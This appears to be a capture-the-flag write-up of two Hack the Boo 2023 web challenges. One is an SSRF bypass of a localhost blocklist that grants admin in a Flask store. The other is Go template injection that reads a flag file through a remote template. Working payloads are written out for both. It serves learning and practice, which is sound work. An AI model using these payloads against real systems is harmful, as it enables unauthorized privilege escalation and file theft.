Hack the Boo 2023 - web(2x) writeups

Write-up for Hack the Boo 2023 web challenges


I participated in Hack The Boo 2023 and solved all the web challenges (2/2)

HauntMart

#ssrf #flask

Description: HauntMart, a beloved Halloween webstore, has fallen victim to a curse, bringing its products to life. You must explore its ghostly webpages, and break the enchantment before Halloween night. Can you save Spooky Surprises from its supernatural woes?.

Difficulty: Easy

The Challenge provides a source code for the web application. It is written in Flask.

The first step i do is to search flag in VSCode.

routes.py /home route

1
2
3
4
@web.route('/home', methods=['GET'])
@isAuthenticated
def homeView(user):
    return render_template('index.html', user=user, flag=current_app.config['FLAG'])

index.html template

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<div class="container-fluid">
    <a class="navbar-brand" href="#">HauntMart</a>
    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarColor03"
        aria-controls="navbarColor03" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarColor03">
        <ul class="navbar-nav ms-auto">
            {% if user['role'] == 'admin' %}
                {{flag}}
            {% endif %}
            <li class="nav-item">
                <a class="nav-link active" href="/home">Home
                </a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="/product">Sell Product</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="#">Cart</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="#">Profile</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="/logout">Logout</a>
            </li>
        </ul>
    </div>
</div>

The code shows that the way to get the flag is to have a user with the role of ‘admin’

Looking other parts of the code I found an interesting endpoint to make the user an admin. However it is only reachable when it is from localhost.

routes.py addAdmin route

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
    username = request.args.get('username')
    
    if not username:
        return response('Invalid username'), 400
    
    result = makeUserAdmin(username)

    if result:
        return response('User updated!')
    return response('Invalid username'), 400

@isFromLocalhost middleware

1
2
3
4
5
6
7
8
def isFromLocalhost(func):
    @wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != "127.0.0.1":
            return abort(403)
        return func(*args, **kwargs)

    return check_ip

After learning this functionality, I thought that the way to exploit it is by finding an SSRF. This is the next step I took.

Navigating the website this looks like an ecommerce web application where the user can sell products. After logging in, we can see a product list Home and a Sell Product page where the ff: is shown:

Sell Product

Notice the interesting field Manual Url. If we look at the source code of the Sell Product. we can see that the manualPath provided is passed into a downloadManual function

routes.py sellProduct route

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@api.route('/product', methods=['POST'])
@isAuthenticated
def sellProduct(user):
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    name = data.get('name', '')
    price = data.get('price', '')
    description = data.get('description', '')
    manualUrl = data.get('manual', '')

    if not name or not price or not description or not manualUrl:
        return response('All fields are required!'), 401

    manualPath = downloadManual(manualUrl)
    if (manualPath):
        addProduct(name, description, price)
        return response('Product submitted! Our mods will review your request')
    return response('Invalid Manual URL!'), 400

routes.py downloadManual function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def downloadManual(url):
    safeUrl = isSafeUrl(url)
    if safeUrl:
        try:
            local_filename = url.split("/")[-1]
            r = requests.get(url)
            
            with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
                for chunk in r.iter_content(chunk_size=1024):
                    if chunk:
                        f.write(chunk)
            return True
        except:
            return False
    
    return False

The downloadManual function shows that its performing a request.get which can be used to request for the /addAdmin route. At this point I can just do a request through the Manual URL field to upgrade my user to an admin.

However there is an isSafeURL function being run before performing the request.

isSafeURL function

1
2
3
4
5
6
7
8
blocked_host = ["127.0.0.1", "localhost", "0.0.0.0"]

def isSafeUrl(url):
    for hosts in blocked_host:
        if hosts in url:
            return False
    
    return True

We can see that there is a list of not allowed URL.

If I can bypass the isSafeUrl function. I can request to the makeAdmin to make my user an admin. The payload i used was http://0:1337/api/addAdmin?username=admin to upgrade my user called admin to an admin.

payload
Note: the port and the endpoint for addAdmin can be inferred from the routes and the run.py. Visit the Home page to get the flag.

flag


Ghostly Templates

#SSTI/Go #LFI

Description: In the dark corners of the internet, a mysterious website has been making waves among the cybersecurity community. This site, known for its Halloween-themed templates, has sparked rumors of an eerie secret lurking beneath the surface. Will you delve into this dark and spooky webapp to uncover the hidden truth?

Difficulty: Medium

The application looks like it loads a template from a link

Home-Ghost

After analysis of the source code. The function that interests me is the getTpl function. This is where the logic of the frontend is processed.

main.go getTpl function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
func getTpl(w http.ResponseWriter, r *http.Request) {
	var page string = r.URL.Query().Get("page")
	var remote string = r.URL.Query().Get("remote")

	if page == "" {
		http.Error(w, "Missing required parameters", http.StatusBadRequest)
		return
	}

	reqData := &RequestData{}

	userIPCookie, err := r.Cookie("user_ip")
	clientIP := ""

	if err == nil {
		clientIP = userIPCookie.Value
	} else {
		clientIP = strings.Split(r.RemoteAddr, ":")[0]
	}

	userAgent := r.Header.Get("User-Agent")

	locationInfo, err := reqData.GetLocationInfo("https://freeipapi.com/api/json/" + clientIP)

	if err != nil {
		http.Error(w, "Could not fetch IP location info", http.StatusInternalServerError)
		return
	}

	reqData.ClientIP = clientIP
	reqData.ClientUA = userAgent
	reqData.ClientIpInfo = *locationInfo
	reqData.ServerInfo.Hostname = GetServerInfo("hostname")
	reqData.ServerInfo.OS = GetServerInfo("cat /etc/os-release | grep PRETTY_NAME | cut -d '\"' -f 2")
	reqData.ServerInfo.KernelVersion = GetServerInfo("uname -r")
	reqData.ServerInfo.Memory = GetServerInfo("free -h | awk '/^Mem/{print $2}'")

	var tmplFile string

	if remote == "true" {
		tmplFile, err = readRemoteFile(page)

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	} else {
		if !reqData.IsSubdirectory("./", TEMPLATE_DIR+"/"+page) {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}

		tmplFile = reqData.OutFileContents(TEMPLATE_DIR + "/" + page)
	}

	tmpl, err := template.New("page").Parse(tmplFile)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	err = tmpl.Execute(w, reqData)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}
}

After going through the code and researching I learned that we can read a remote file if remote is set to true. The remote file can be a go template file that can access the variables from reqData struct when parsed.

RequestData, LocationInfo and MachineInfo struct for context

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
type LocationInfo struct {
	Status      string  `json:"status"`
	Country     string  `json:"country"`
	CountryCode string  `json:"countryCode"`
	Region      string  `json:"region"`
	RegionName  string  `json:"regionName"`
	City        string  `json:"city"`
	Zip         string  `json:"zip"`
	Lat         float64 `json:"lat"`
	Lon         float64 `json:"lon"`
	Timezone    string  `json:"timezone"`
	ISP         string  `json:"isp"`
	Org         string  `json:"org"`
	AS          string  `json:"as"`
	Query       string  `json:"query"`
}

type MachineInfo struct {
	Hostname      string
	OS            string
	KernelVersion string
	Memory        string
}

type RequestData struct {
	ClientIP     string
	ClientUA     string
	ServerInfo   MachineInfo
	ClientIpInfo LocationInfo `json:"location"`
}

Using the above structure , I can render variables from reqData using this format.

1
2
3
4
5
6
{{ .ClientIP }}
{{ .ClientUA }}
{{ .ClientIpInfo.IpVersion }}
{{ .ClientIpInfo.IpAddress }}
{{ .ServerInfo.Hostname }}
{{ .ServerInfo.OS }}

I learned that I can define my own go template and access the variables passed on the reqData. I also learned there is a method passed in the template called OutFileContents

1
2
3
4
5
6
7
func (p RequestData) OutFileContents(filePath string) string {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return err.Error()
	}
	return string(data)
}

This means that I can read out any file by calling the method in the template {{ .OutFileContents "file.txt" }}

I hosted the template file flag.tpl and requested it from the web application.

flag.tpl

1
<script> alert({{ .OutFileContents "../flag.txt" }}) </script>

An example, A request to my custom go template would look like this /view?page=http://<ip>/flag.tpl&remote=true

flag2

References